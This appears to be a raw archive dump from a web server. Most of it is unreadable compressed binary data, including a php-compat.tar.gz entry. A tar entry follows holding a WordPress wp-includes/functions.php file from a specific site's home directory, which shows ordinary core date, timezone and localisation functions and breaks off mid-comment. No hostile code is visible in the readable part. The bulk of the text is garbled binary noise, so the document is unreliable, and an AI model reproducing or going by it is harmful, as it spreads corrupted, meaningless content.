D@zAE&,.X Jg ˹0鯷&ʓ2s%hhIRCLi(*X'> -OXYIAHP{"6{A^1wg"ۏs >RX ǻٗoF(#.^[>w;dany?lA| ւ3 e}g<,:?/^s$*F?uuc 83(#FѸюu`;ڄ574-2F֤C"?AQF]j >P^%/o/H2s7t*jt-'uܪN[+^L>V|^ra13"9CL[cNW DD͌]%18DN^GV6YdIM$:ml: -h]*H \L!?pǂ㛝GP =$^&т'XP "Aac*o9b|@|y"1% 1u*jτ0ԍay,6hmhuXWTɝI9c}Clõ=Ҋ)ez,[?f@#R\ʜi r-v0 U1k{60mm+狹ls"Y$ƏE;(3Qt`A6 @I/- GEw7{pCLE5g8 |` TN3wRR9{$ǜ]\m<ȕiM-:bg9 <"pd:#0yѱN i33gag i]מ/yDۼ|9gz韹FӨ-hhP Lp@MKGk#7OD:JN$QcH9.[6ꧨltlSSۿ዁1 *&7`#.w2r1{Ǹ2n3CKҞ9:kp\ڎbz (nwҪ-a:^@6&ZGf2LavU=sksݩY.N Cvչ fSS<`d珲B >a漴]VPG/jw{eyLrcjaf{׫:-۪sWm=j_`OqZk³4haO_6nN#0Gc/ǃ0/H8j]zL9,ɿ-f lD2_rd":ZF} Mm8V(]τ`<;NSІt-#)gv潘 ƍl^+Ҩ&c#<ϺC(6| "A+Go5Cֳ=)?H±MaN&h3y+0~g`_ww$DYFH</JQ_CTpL/ߝ{Ix9-35Va/|!~<H=qlڅ>__2](gffw# ΰQ8>p Hƴp3lX)L4^]3AIQT8x:{ U]g-?$$-D@T5GpK[K'̩#{7gUiq{&M f_@ڗ2]cGk+w-2r )XK{˰f^ۂ~a;hDb)?UPఎkwc O,lӖ7즇`>miBjAYemԼNN Ptf+,10~2aaKux۱yL1,|Ŀbh}'VuѣDoDp$>d7WٙS@Cb68U̒~N(Sۚ{'3ًD5cm݋}./)!*8NU޳_pO\ 0}줄៌É2UdfjD;D{d%~kjW_Ro= _kؤusN2-Cp7`4Za~C_))b6oTRT'UL˖^ u:E۶:[@Y4If?aWs3'ٚ?& ۶ub5x>nlQa㶍ۧ26)@*ydJ0%ljчLΑ6N O7= ͘=Gx~829U]*kϷh4exh*""Bw<^q yzp(dRsp{y4Vc 3FY&(XG,scqrzissSE;91FĨ08:,ox ,]0{0xbOp"̡zq$ºRϩ*hgL1l_0q .!$E|{|Uj9ߨo`Qte*U$Ϋ/]gP73'#0C$HpD\2̢Nn 3z{!33`|-Nc{!aY,Y GC4yARUĶ7pjC].m }}_8.;0?+lcFbQWsYzpS>,u;Y8|s{K"t8[ZϣS8xz=H>'@Dxr܇CwDڀOnZ|3$:wAp{m :1utd 2:~_Tl["ssCt.~x$X׳|Qv'M4,vbUOt-OَN= ZFw{`H[Q} &'u*5k.IdǶa%k=]}z-vG32_af :iyrBZ 8!rW-c>Bǟ?g->PK $[ƿ0ggphp-compat.tar.gznu[v"I(_Uk?D~R.q 3v@D@\(;`>c^7y/3kfqsqսwNuW~177w77377WV+ʼ .&_";DhP N֊ʣ$h2'CV{r5TBGޓo]WNuab܊#NM/O'v^"+A'VE4nק!I'4pI$HH>7Dn(EpEYԽ_ C/O*.Ȩ<xQ[H$NT A㉄/]5KY?j }B+,]%Qir G9f[Y68UWi :ZyDY00+F_S$a?P?o $aljd=is̳ 5A\o"H v'si>S-XlѬ2 N4 K<\8D҅FG#%(54cǒ2$ M!^hȊSBQuDS= gƂi5 $`É bDҽ8Aẋ@F>ݺ?0L;ʹ -hr-8eV!UN$"a`fx*,V1͠_֜QcxQE[Ƌ}@~+j !)@.8Tf( i"U+꿱( HNPc>Bc PBO$+o]PJ|Q ,os|5 =|b2#).HAQVt'=E+p X)cI&@H)2ߑF@ 4J ^D7pK(Q]d% 0$ MRAPO\YƢӲt)s7̲4OCVʹRy/_PW%AV|鷿"h1 g\VEI(FGaA2 UA_Pnh†;LW8i&KX a]Tf~kWM2Yy0A9chȎ{[¸Cb B/@%|1Qt(۴jZgAC_9MeHAحEJ;MٻK00 Nw]H"ǏF: Bhr"g-^DI&'A " 8aSČ; @_oң3,q{Vb9^ێi5Q`ŀ(#Wxj3#Ж%y gTHmLxFAC@V$H4sl䕲ڜ6lGokL8T ).;#I`>ЁvM$1l越oEZq:h{wc;)rPhBJG 47Ba!@c@uѮji } DI8T|;ßw3dNU#ȞG5?cp> }={jB>cAۣ_\ؿk9i4#c>yX1Ahn
    ;%:s`3"$3g!sF57UlS"6yʘ't 6@# .;T&V mrP\]Y_ X gN N󐵀 )cCʸ!mEHgnKS6 `SA*aJ@el>c0D¤%1`0o=n`K"6 Xc8| hv-uf!.7U#de-(͠9 B - PPT<+J뷔AYNN4 ba|B-h*V#Л7&:ԛ[z;ޛEZ77&|7RoBmgoP)s//)+u2O#ZLI@hR,|̂IV :cۀz _bDЗ | j6X]@ (- kZ) l{uB.G@t$w"dq;c qZ{ 3avbpr7!Ek}A#M{6Pa_c8k 0)\kC5d)P ͯm[FKEu1"?H7ni)Liœĥ%`;=& `"F i.ʥZҶ5];Pd"N'A?ϋBDht`/1^P ,Nf{B'n,P87uJ)hልkbc}:FHPOq<' C9rdh3EdR-T)fz,+f'@n$(H-l 0a&G> ñ+6HHpǘ4ӈ$L>J&8^}Y{p0B1 >|R#inh;}5s8]A؊KN?ygQS5 /MKU!>%Pj"aDT"¡Hֻ .P)eҿOzqN z~2x+~wpoVoD{.|>['sߎ@ khm}ڱM ̏O`m%% #'>߻+džFf.uX$Ov &hOG6Ll%kbESx՛_:4ZEƥjWZ~)lXYE_#?yIVt踎E&D ,O"2;">s' iM7xЧ+#>>6fC75pX>Ɓ:D,&@!Kdbb=5l{$ v rtO&M>Ǥӌv 0HP.[{ uu%Ձ- 0!z#(M;̤[W1}GtʜaQjb9t3| az颎c!V_p,JRG$m B2eL3Q,QAi 9eH`P5N|rמC=B܌,xOԩ&HqWt*VdrpBlbVƒqj@<\Yڳ;&15&p{6 ]K? +u\' u^0ثk{!Er̦"W24@fBOG<NhdnLhfwȦթiVo )!]&5 ^5սoOA_ov7ϯ48xܡaFI^ G3$)*`:|Q3mĐONHv.gj:#wE,B 5 B B;I\PL6H $^`Yd0 @{BN\d V ;聯֨:r*,dڄ&x)2-I8(]`%>3"@oڊ:G,>`\km\k]tajzLp2}Fd9#sgS~H볖1M5 b.O ݫ80Ki=̥H]N=WP!G]=f)Đ* azX)iן54 Og?ܚ"Ra@5#i܊xS- ss\͹xS Kr~^߀g'hVQ?Ti%YarZ(rNS(νyXZ*†aԻPg|'aG^C)q`{L5bPZqzǷkHZzO"k{[ǁ.RUBjPz~DwN4`8Ja# :# r< (f=vSKBP3l+jn{gx̊?&~|.l,`Ji}^g5uIy5FnibLvn\T{-]ʊcrm*jb_Wf8:qi.'mgl;8L1a;U2;dɁʂՇ⼷&vUmG޾q2E Dya_Z‰YlLdCACER f PZLWPyNF@2`ni%rvN#9@JIfOE̬9jDwļ0T i,f,{΋- PDl`\ *yOі]v!/n\*AVgRѷ,4r;TtdK|)d2\[?T 8n6fEӉTaџEUhH4i,iѻB$Q":&w))˄ 7H{,Ƨc5(T."g3]9i&mwfX 7X[SZўCq?}.DGn̖d3²=$Әy|KwX69U_WMȴ;IXMEy82ߪLxz7g\'VP8+:?sreG~d{Hȵhh=Jǻ|T 1aTchvܒ{)Y G=.5:몟Ja,YGxjb[N{^m#> esw]~4?/řiBef]~Ʋ7w~#0jH >=܎ԛŘMe56?ɮunRlR<,nK\jm+m.ޮʢ ?[M,U{H%]ϩTrr['Ltw'qcLpذlzY66=i;n3K.%F;S_Y\͇QMpylBYdAz _r3{2lI=Rgޝo ThtJ'RM NMR 9QSrFj6n#Z{ݩ*D.aRjڝ>t[mLƽK6[ɕf"\lws4Ϊr֖].OHS 7^ƶFjSB5?"Lv*J GQaH;JҢGtXHfYeb1͉w }9;0 /{fuibs,u&ps3{ v<_]{FJ͊~f~P%FʧDʆ 6CfX{]~)>~Og3$N`pcۘVV+icSލR36y0`)wp|SKVw00 D~/qAyL`Xۃ\}k4\Zz@zz._բR} MX~#Of{+`bo{T72|!t߬q?T w7r?DoG+dxLwp>70QNc\\ ^xN4q9̱/ ]9hg[عOA+(4dsE@mA7 edžLM|)av\7crC@.i*{DΊ [=:թ`L><8A^A|Mduj˰b,J@S;ᎃr<2Ƚ`&Wf^/.=Ϟu+Bg}kTh$D_<:w/!`jGhCY "+e^,2;KY#]׽,@17AƽUQ30UPY`!h yA/B;M XC"Z)3À'BfeVXxb?͟Q+b pťt>1;yAJ@/_Pf-5G 1R~ŷ-O_HSnfd_dĚ:x@Upٹjx}⭋_}qu}!ddH0l$C 1(ɠ* \lGNM`f}C`qjkVi5.y*'=0t]@2^Cv~%W![AeLCCW뽭Ok;Gm8jzB7{;6sgG`A-?:3Q$d%xc8ڰ ݙ,ظp?8_`ɳ;8|m~*Aˆص^0H/faM̚-2x/`zK5ag9Êfq߲_̚\5-F˚r_ θИ B=*$n0 G$`wK࠻*JO)""v9=|@VrWonv۠~g%>{̻#aR_^0j !xajY'b"C}N }t:eX+,(<Pӵ+^h\ڐCNZXJ98΅9ob4P,vcZL|dP$46]& 3>+6d>uO9y:rr :vT&X:$u4D^uթgk\ [֝yJVz0miBoq̨fΞc BF< Nڍu9&kP3a#͉ErϢ.Z_#W1PĈ%stMB {^#gp-L}~ ]G] y.MߦfjhK i4"Vo+fW1aڌ`;q&F)wun`ǚͨGf&uKrYc܋VS,8ZRfqNa|bgA b,?H8M)8AU^E?u~ù/vfMob]xKk\lb[`|=.oM;ļ[+ؿ瀠!a1$>Ե\bs#jcJ(2k|9aU\ 0R^GW|I\eq`_M`3GH\w3{fB>0;`BBq0#Ht$:\CeRѽѲ|o0d<r(hl5>!Rj|u XG@*^?!Cn2t WXŕyhEeQ. " CKErzu(OBl П? FBjf==Sˆ7 <wIQ'H!$USҌ(րqYDl8$ʳ*֊ %Tipp0$yNQuaCcCy&=C[N\Ti NCBYTx)iVH FzqTI#2ۙLS+jP2r7_.jU^. !zsBjB&1k&|}vYk73dq9q]a# a]uWSpM=>~oԟ:" 'S\q]:Ӑ$XL?AۚzV7$:]=A{Ng>rASv J3q3e}ckjāxav}>梴89y6CxjI8GlN!$dYs䨚JKt$ӟ;J$Kp~JK/Lqe%:|"v:/6R1O0b&+"{`|x2l6cL牊O~UG[{ES!ǹ9?WcsMHsͼpn:GGOA9F BY4zh8\;hbA= k*WbBGⲘ\`a?tb$~>eIisR0i4<9P)8 yAaӁf‘!>d #.F\9Cc2Cnj4ok!ybpxoG|#mpth)hfv/N&s3nMi4]5s 3ۜtf޲ܘ5ZngXh6;B)%L>UrwnA˗J$3J}EMM)Riƪ(lZZ-;e TF\d2]6s?jYܬƙP2Le7]602lh֞TsL'S&}P?ۙ ]W{4SRFL9odHB7v7AL,x6T#L>{ۍ˙j. cɌPzS,wL3+X꣺4LZQh cA9ef8›lNblX4"d>ky/+ZRk4ڹfy3i.VWd$"y)'Tފ=! C#_KJ&U:,KqSyc~$TjQduK&܏xmRnq4ktٰQ8VMWOk9ԮtTƕ [VYv͇B)Xⅹ&(v*ʰ#VYLOi?h%şy4Unvxigba&s_IR7Jf|lv-Z)ټ5ld2Ƭ*+3{CdiVrي͖v{d',ͱqMinڹ$[qXzdx4VBe\k31c-=:.&dRfsfv{NEQO+,*uߊf<3xQr[q9> oJƢDl;^mKp#KN;WyGKJWMc3WR1T}oQQcGq/|_3FXkm ,:op/Fkyڽ*{xU=Ve<5B^gI&w#t*MM˛IxR J]dbP6Zbn{72fQl m)4kVVR2/-?dg%cprX_V:bٚR }iv:#m A&TYuzRxnS6o[c=K#w/T$dLnxKcH[-~1um2yobJa׮߄: |\Zu..RM%V-mU2_.T-R-ݻtِ;R.F"|7DE=!,27MfanJX]oX+?he M-TT6#I9\rxV ϝUӟnb Dz\hW(%zvuw7r=J*zs6g$90\4rr܈g7!E~7[r'-ܰkm5% ^icOd5qn *'t w؇hbvoqI[gY]{Svw3x^hZNcj|!iw?-ɥ,Cnz;E-Xڃ~IEj-ϡM* _H/ňQjF[HcU\.x-2ªasPBN76,þVeu(&?^kiCv&Kds[/z{^<h1};XT#|yZA bDcbٸmŪb.FWBw7B1Z=d}6"J$5#H*Z\xhמCw?ی6wJzo~Q.ojZOt?In4w:V.{WKNV/FC5̦glTeC]rLB\>x7V ݔ׉H8)whlM=57]DW6TikxkUld.ѫg9~8=h)?P~2G#Onړ'ZWJl#N<Ηc$J]ܷ)!)W NU! A hB-p<aAjTK Q1>:w(PN.#vr3Jzި{^*z^oq*}3lҤw6tg{~|oӱޖh5mF*={"&DV3⦷DzTM?J:;xJf*68~&CJ_?&Rҩ*ߤ62kn;T%gy{Ʀ -=Wy Ro43y6sʰ\zoIT~km rr _jhˬKwI(e*u|7M=h拣c_*gQB2񘻿Ym/3TK A%.w0'6'Bjviv9ͧVM٪|Ѷ}ҵ$B(dz)Wpyq_rmu;RYL/uj+]ߊY!Ȫ1vn'JmC-r\="d>JbKE?f7 EgۣeirjX]׭AZcCiҿ2BJ)=z7Q.<h5퇢+tWFfm{b}ͺmanըM-aΌLF ɘV>7iNRseU)o{yH\ePEC)~c#.O(H.G\*y/+1e[%5*K+V/KѢH{t;kl(He4ܩ϶ĮBfS3j >v#+d?m<)C,L 6*l ۅu<+^)mﶥ])NmH"7|Oj/ص?NFq]%-ҰQ9ta缑J?OHLlG*2Y5-$KdBM:YvD|PӶEi)wmzn#3qo2n?X"{ȩۍ8->dV(w+p[}+~%a o)>S-%n Dp* =/-jSwP&BxM)sV+YMGqc~o|$,ljx1g0nsڍhH5gXq4J}VX¿RCwh='b^Ndmy9[K iVK\^+˦ku?[#z3 a\KXZj#A!l֪*IuXt+ŅXm8:^$&_gf"URPyhjf,rtsav0o&u6i\j_[1ZYg-۠6eٺGt/byX Ms+S3*vUq]mSU׺%7O /tơTnԪMWNx_#Ʈ;jCxTql*ݏ G7~-.C0Ak3qlkx S >ꤒdʦpEVX^ [mn|ٸ:eFol5+/ox_Rޅb3`M/HV !娂͙fD!>RliB{hƇCI+,;bm:< w "wZ_VxܝBcxZ zvѴo'7K̖MOQ[l.4L4rn{V^ݜ[|H)[rvl&^az`í^4p )6U7liJ.7KTkiA,iS™I(?ϋJ|$RM>r1c~jlnlVg%SyzXg$Ƈ)2Nެsr䰿^m c{܆xR_$#Ƈ ;n )% lF翸C]$/$a(S :ZU ˞6Po}9}vT%zEa`_e^17%PZ(LLJdg ~hNB\I˹RR >oI' hE&yH}CQ=ЕzI$`I;{I!?z@y2mh /+F2yA u!QrGCU1C7_܇J0eaMHؗ- 嫫Qp;±p<NDagIZH#Cw{]G4@c#` ?͇[xɾ[c&089lC"Ϝ^yBf(H Ji'+W!ANd%<̀Kx uyaCÁV5bIR[d8I#d(@WXl>=b B#̮0c/JF8&f) dN ,c!Ϡa@*39 ǩ:ր%w/`]/9o4d4ewAp.(k{ ?^!VZnB 0[/0\ d>"T$ !l[:W` Gf;xwY8nv=įh!³Z^š B"o^Q ։=5ca0)'M0(sOr2S/"chQpt?\{i'7g/esgz'{=3_/q$i>d-:5 @G7b__n2o/@#wHQ `=7嫌 ؇C|K_2wLÈ{!.>.?pk?p}d٪{4$g$`S vcPZ1"[]&/BKM%wOs2`>j|ύU`gQ^cLl1 9b P6ww" =-TsACޝmMx3$ ;O#J&|sH:{a |FAX[:6Z\:R|PRt}`DZ o!8*> MS ?q0?)KD ^tQ&.]8qSJ@'I[O]-"3+x`ί(EUi5e֐KXK%sNa:ÉNl?K` y5<6UAJvIƅ1q~DAvqmmq f*#g'4̮Y7~~ETPAIZ2S=oVYlP:J9ZBhנR`Y?vYbCePMċR?a#K_ʃ{m٦_$ hН9Lpլ=|ͫ\t,7V$AeY敕uiyeZ26HC`O7hѹ›J¤s\]ΦR6^G`dV@z}KH]#`[>q.y~Hl+^,M}DʘaAd"wJXohM'w{4RO kN4{pJ9B }6%HS܆n1}x  '~o>q>sހC8]Ǟpeik7Ԋn?9}>b.'w2$x⎭a|V_x}K2Y3*׍W~ 7nOua.!1ҷv:T7 )bCŮQqo˳ƤWmAOFI4j~*^pQsw&dH.\2cܓfi/R~K|}%:(Nh@|25 H :"qK<[T(7?O,O5U4 7ɲ^$k 4B}呖qqrwy]9Zt/EkO[0{yOk"8u`4Ykks#H 39U/PM!:ܐ"i$4|5۫?rI6$T {\5#Q-.P9@.der hz ]U؍wU5])+[X-tdEҝ O3цl{X9\s4y`וd,[m_S_ [O[ G|yNP_#Y150=Yq%sA F ggdtu`>`UZ5'qx2ǼQff/kNFۗ/nxNVHMEh~֤W|k%` h02]i0WO=b7AEg5 X?@;^$v2F[+cV(=FΣZyeDz"S!@(5|>yXod+MB"^R4{)~DA}Uj+h]QǕLwsEA FRtC{==-rT[W8 +Ȭ@)67xC]>*ŷs!0L>ml9);ĽP 搭^3+F^+}+=~+L7 SzƷmr}l(Ad}%W#slw[ƓMRׇj8w3%FLH@!DAB=3"%K΃p2^vGR53DB"*FKf\O{&>q `0鉏 3WhV!!Ze &C{L@Q'C+PġI@Pjͤ3bVRLJYI VJ iQ :b>嚢b DA/`FMP6Q1(A%dPRZC#>3qE?fGI==3@@FUGOHlHRN$Q6 pYSO G3X ΀淋ث>|ۻbZLC׍$̠XkQGF;vԝIhPߠ;h[ ʠYzzA>ɛ]&6 y|}!D78Jp_qe§n TԂ%8[O`JUox'?"V23&# |>bfDs%1'.G2ǜAK5zcpwr9%m]ɒj#Htnu5[x{w peۈ_էpSe# 2j *ԯKuf @v itD38c}0H flovJAzH3Ln3,> bm'ALkja;OVtA#ȏ?fϋuI!9K5FmF0O@`8GE7fr=jZ\օ=Zgrs(@+ /t(HjA5t9e~J&=?6>brC x8"YPF"6bgQ-Ղpp`Iڳ03Gg ΂KQQx;YOM3(BKNСw0ѱ Sؿ7]}F\w*lK&=);:CŐ]uC>7]h.죦PC'OG9/m"|5ûK s½0<&900 3ם}DUOG@@mչ҈xֶB5߈/w-k5YKw~Y]R7YEލp ARѧhS$.YD=$I_֖W3Hqz/VWo2DI\yyzZ#nbo榶CKryq_|qN~gBbcw)hCa xrށuꔇ |G;MDz6/LiEJBlg]!@qL>GG7 !C]$X&a^1fV'N剃<x@?ijn+gP,#E<0 DRԗU5\; wDR_|N jaU3!@2fiO>vgg n:YOMW̅ ~{e'}m?\-^=2KMnN$CEUqّc,]?}l]5Bٵm}}ywnn[#)` F;p$6s-8qs:qr3wmDogKx&`bW׆ 5]3޳ 'xda`wJ6c6j e]ӽw;88!PcI9);A!t\6;n[ Z=0䨾[8•\QYǢGzoJ,WS45B鹫x*9vqْ:) mKnoL,A^n$Eúqd_?n`L:MZtx`6MC耉 ʘ ֆzOMr|g(BZm$qcZ 6,DyH ycxa( \`fɄy.qb" *#-DǥΑ=SVijjuǪڴ8`=+ Jwd`#]s\qE1]rk<$Yv(X U'T:l4دF]PAB# %۴ >dbm$O[jڠf>6-}sщd~K7hkF/'Lr6&CC4;ٴ//%xc!%W7%"ON; 0';(pG8N$qgm^/w,u!vIQqd{UwC'%/H 0GTc|{Ոv(r Av"JjW_Rnj_kؤusN2.Cp7`4Za~C^)(b6/TRT%UL˖^ u:E۶:[xGY4If7nwWs3'ٚ?&  ۶eb6x>lAa㶍ۧ26)@*y dJ0%ljчL΁6 O7fMמDo0 ?QBJEϰ9HojhNgu9=NCDŽ)؛Gu /*E㉿*dKP0rLYU6';_@=xַ'Op\FzXS 62הq3extX ;v>w7plC].m }~[8.;0xe#9obԁ.K~]vFV^<=t^#/9Qno 6#8Bm_tvb郇& N8]^ª4zavym$t4cb|wf}? 9?/ R9!:PF?][F,vY(;w;A;$᮹;FGYա#pSSOéז^5ߓVTBIJs@AE~fEp3vw{zOqFW/nhx hLnL|wu |Zs^;8N܅}Cؾχ=OYq,ލ$ewj#P(&#d"!=I& ןP}3<ęH"GN;zTǚ2XП1]0f,0-@SojPdX-I `OX A1Z)b[s/:1^P2xAc Ai/C /56tCKfTn$J=cHEfsUTSdD"']mB [$&L:"/@@B!D/bX_vI8G>)]5#2E,/<2EI u:3)=BN!0/-C?(\S2D+?DШFP"]WAʄ7J#{#/6 (Կ#O(CsG[ij{\BY9ﻴO(?ȣ%/BoiF H돼Qyڿ(m~a'l'Y:2'9݁:6^C9{p?_""'ě / %N4cݜ&^߿[@YOYs}xr@AQ{xPeC-\idkL˷5'l`Эq M@0(0/DL* h+(7/+3P¯* 5.T !!Σ&B`L1 5b߹׈nؠoCG ~hB":á?eNA]$]KX0!1z">&Sҧ th;*1$k. ;mܜT~"`ެ ̇!Tp6*릓 y"ҋ\6 )bjU}//8JS$"ɛg{H'OxSaZ]מuM㻴rŁV?9hPK $[ =jjfunctions.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/functions.php000064400001061472150547657340017710 0ustar00getTimestamp() + $datetime->getOffset(); } if ( $translate ) { return wp_date( $format, $datetime->getTimestamp(), $timezone ); } return $datetime->format( $format ); } /** * Retrieves the current time based on specified type. * * - The 'mysql' type will return the time in the format for MySQL DATETIME field. * - The 'timestamp' or 'U' types will return the current timestamp or a sum of timestamp * and timezone offset, depending on `$gmt`. * - Other strings will be interpreted as PHP date formats (e.g. 'Y-m-d'). * * If `$gmt` is a truthy value then both types will use GMT time, otherwise the * output is adjusted with the GMT offset for the site. * * @since 1.0.0 * @since 5.3.0 Now returns an integer if `$type` is 'U'. Previously a string was returned. * * @param string $type Type of time to retrieve. Accepts 'mysql', 'timestamp', 'U', * or PHP date format string (e.g. 'Y-m-d'). * @param int|bool $gmt Optional. Whether to use GMT timezone. Default false. * @return int|string Integer if `$type` is 'timestamp' or 'U', string otherwise. */ function current_time( $type, $gmt = 0 ) { // Don't use non-GMT timestamp, unless you know the difference and really need to. if ( 'timestamp' === $type || 'U' === $type ) { return $gmt ? time() : time() + (int) ( (float) get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ); } if ( 'mysql' === $type ) { $type = 'Y-m-d H:i:s'; } $timezone = $gmt ? new DateTimeZone( 'UTC' ) : wp_timezone(); $datetime = new DateTime( 'now', $timezone ); return $datetime->format( $type ); } /** * Retrieves the current time as an object using the site's timezone. * * @since 5.3.0 * * @return DateTimeImmutable Date and time object. */ function current_datetime() { return new DateTimeImmutable( 'now', wp_timezone() ); } /** * Retrieves the timezone of the site as a string. * * Uses the `timezone_string` option to get a proper timezone name if available, * otherwise falls back to a manual UTC ± offset. * * Example return values: * * - 'Europe/Rome' * - 'America/North_Dakota/New_Salem' * - 'UTC' * - '-06:30' * - '+00:00' * - '+08:45' * * @since 5.3.0 * * @return string PHP timezone name or a ±HH:MM offset. */ function wp_timezone_string() { $timezone_string = get_option( 'timezone_string' ); if ( $timezone_string ) { return $timezone_string; } $offset = (float) get_option( 'gmt_offset' ); $hours = (int) $offset; $minutes = ( $offset - $hours ); $sign = ( $offset < 0 ) ? '-' : '+'; $abs_hour = abs( $hours ); $abs_mins = abs( $minutes * 60 ); $tz_offset = sprintf( '%s%02d:%02d', $sign, $abs_hour, $abs_mins ); return $tz_offset; } /** * Retrieves the timezone of the site as a `DateTimeZone` object. * * Timezone can be based on a PHP timezone string or a ±HH:MM offset. * * @since 5.3.0 * * @return DateTimeZone Timezone object. */ function wp_timezone() { return new DateTimeZone( wp_timezone_string() ); } /** * Retrieves the date in localized format, based on a sum of Unix timestamp and * timezone offset in seconds. * * If the locale specifies the locale month and weekday, then the locale will * take over the format for the date. If it isn't, then the date format string * will be used instead. * * Note that due to the way WP typically generates a sum of timestamp and offset * with `strtotime()`, it implies offset added at a _current_ time, not at the time * the timestamp represents. Storing such timestamps or calculating them differently * will lead to invalid output. * * @since 0.71 * @since 5.3.0 Converted into a wrapper for wp_date(). * * @param string $format Format to display the date. * @param int|bool $timestamp_with_offset Optional. A sum of Unix timestamp and timezone offset * in seconds. Default false. * @param bool $gmt Optional. Whether to use GMT timezone. Only applies * if timestamp is not provided. Default false. * @return string The date, translated if locale specifies it. */ function date_i18n( $format, $timestamp_with_offset = false, $gmt = false ) { $timestamp = $timestamp_with_offset; // If timestamp is omitted it should be current time (summed with offset, unless `$gmt` is true). if ( ! is_numeric( $timestamp ) ) { // phpcs:ignore WordPress.DateTime.CurrentTimeTimestamp.Requested $timestamp = current_time( 'timestamp', $gmt ); } /* * This is a legacy implementation quirk that the returned timestamp is also with offset. * Ideally this function should never be used to produce a timestamp. */ if ( 'U' === $format ) { $date = $timestamp; } elseif ( $gmt && false === $timestamp_with_offset ) { // Current time in UTC. $date = wp_date( $format, null, new DateTimeZone( 'UTC' ) ); } elseif ( false === $timestamp_with_offset ) { // Current time in site's timezone. $date = wp_date( $format ); } else { /* * Timestamp with offset is typically produced by a UTC `strtotime()` call on an input without timezone. * This is the best attempt to reverse that operation into a local time to use. */ $local_time = gmdate( 'Y-m-d H:i:s', $timestamp ); $timezone = wp_timezone(); $datetime = date_create( $local_time, $timezone ); $date = wp_date( $format, $datetime->getTimestamp(), $timezone ); } /** * Filters the date formatted based on the locale. * * @since 2.8.0 * * @param string $date Formatted date string. * @param string $format Format to display the date. * @param int $timestamp A sum of Unix timestamp and timezone offset in seconds. * Might be without offset if input omitted timestamp but requested GMT. * @param bool $gmt Whether to use GMT timezone. Only applies if timestamp was not provided. * Default false. */ $date = apply_filters( 'date_i18n', $date, $format, $timestamp, $gmt ); return $date; } /** * Retrieves the date, in localized format. * * This is a newer function, intended to replace `date_i18n()` without legacy quirks in it. * * Note that, unlike `date_i18n()`, this function accepts a true Unix timestamp, not summed * with timezone offset. * * @since 5.3.0 * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @param string $format PHP date format. * @param int $timestamp Optional. Unix timestamp. Defaults to current time. * @param DateTimeZone $timezone Optional. Timezone to output result in. Defaults to timezone * from site settings. * @return string|false The date, translated if locale specifies it. False on invalid timestamp input. */ function wp_date( $format, $timestamp = null, $timezone = null ) { global $wp_locale; if ( null === $timestamp ) { $timestamp = time(); } elseif ( ! is_numeric( $timestamp ) ) { return false; } if ( ! $timezone ) { $timezone = wp_timezone(); } $datetime = date_create( '@' . $timestamp ); $datetime->setTimezone( $timezone ); if ( empty( $wp_locale->month ) || empty( $wp_locale->weekday ) ) { $date = $datetime->format( $format ); } else { // We need to unpack shorthand `r` format because it has parts that might be localized. $format = preg_replace( '/(?get_month( $datetime->format( 'm' ) ); $weekday = $wp_locale->get_weekday( $datetime->format( 'w' ) ); for ( $i = 0; $i < $format_length; $i++ ) { switch ( $format[ $i ] ) { case 'D': $new_format .= addcslashes( $wp_locale->get_weekday_abbrev( $weekday ), '\\A..Za..z' ); break; case 'F': $new_format .= addcslashes( $month, '\\A..Za..z' ); break; case 'l': $new_format .= addcslashes( $weekday, '\\A..Za..z' ); break; case 'M': $new_format .= addcslashes( $wp_locale->get_month_abbrev( $month ), '\\A..Za..z' ); break; case 'a': $new_format .= addcslashes( $wp_locale->get_meridiem( $datetime->format( 'a' ) ), '\\A..Za..z' ); break; case 'A': $new_format .= addcslashes( $wp_locale->get_meridiem( $datetime->format( 'A' ) ), '\\A..Za..z' ); break; case '\\': $new_format .= $format[ $i ]; // If character follows a slash, we add it without translating. if ( $i < $format_length ) { $new_format .= $format[ ++$i ]; } break; default: $new_format .= $format[ $i ]; break; } } $date = $datetime->format( $new_format ); $date = wp_maybe_decline_date( $date, $format ); } /** * Filters the date formatted based on the locale. * * @since 5.3.0 * * @param string $date Formatted date string. * @param string $format Format to display the date. * @param int $timestamp Unix timestamp. * @param DateTimeZone $timezone Timezone. */ $date = apply_filters( 'wp_date', $date, $format, $timestamp, $timezone ); return $date; } /** * Determines if the date should be declined. * * If the locale specifies that month names require a genitive case in certain * formats (like 'j F Y'), the month name will be replaced with a correct form. * * @since 4.4.0 * @since 5.4.0 The `$format` parameter was added. * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @param string $date Formatted date string. * @param string $format Optional. Date format to check. Default empty string. * @return string The date, declined if locale specifies it. */ function wp_maybe_decline_date( $date, $format = '' ) { global $wp_locale; // i18n functions are not available in SHORTINIT mode. if ( ! function_exists( '_x' ) ) { return $date; } /* * translators: If months in your language require a genitive case, * translate this to 'on'. Do not translate into your own language. */ if ( 'on' === _x( 'off', 'decline months names: on or off' ) ) { $months = $wp_locale->month; $months_genitive = $wp_locale->month_genitive; /* * Match a format like 'j F Y' or 'j. F' (day of the month, followed by month name) * and decline the month. */ if ( $format ) { $decline = preg_match( '#[dj]\.? F#', $format ); } else { // If the format is not passed, try to guess it from the date string. $decline = preg_match( '#\b\d{1,2}\.? [^\d ]+\b#u', $date ); } if ( $decline ) { foreach ( $months as $key => $month ) { $months[ $key ] = '# ' . preg_quote( $month, '#' ) . '\b#u'; } foreach ( $months_genitive as $key => $month ) { $months_genitive[ $key ] = ' ' . $month; } $date = preg_replace( $months, $months_genitive, $date ); } /* * Match a format like 'F jS' or 'F j' (month name, followed by day with an optional ordinal suffix) * and change it to declined 'j F'. */ if ( $format ) { $decline = preg_match( '#F [dj]#', $format ); } else { // If the format is not passed, try to guess it from the date string. $decline = preg_match( '#\b[^\d ]+ \d{1,2}(st|nd|rd|th)?\b#u', trim( $date ) ); } if ( $decline ) { foreach ( $months as $key => $month ) { $months[ $key ] = '#\b' . preg_quote( $month, '#' ) . ' (\d{1,2})(st|nd|rd|th)?([-–]\d{1,2})?(st|nd|rd|th)?\b#u'; } foreach ( $months_genitive as $key => $month ) { $months_genitive[ $key ] = '$1$3 ' . $month; } $date = preg_replace( $months, $months_genitive, $date ); } } // Used for locale-specific rules. $locale = get_locale(); if ( 'ca' === $locale ) { // " de abril| de agost| de octubre..." -> " d'abril| d'agost| d'octubre..." $date = preg_replace( '# de ([ao])#i', " d'\\1", $date ); } return $date; } /** * Converts float number to format based on the locale. * * @since 2.3.0 * * @global WP_Locale $wp_locale 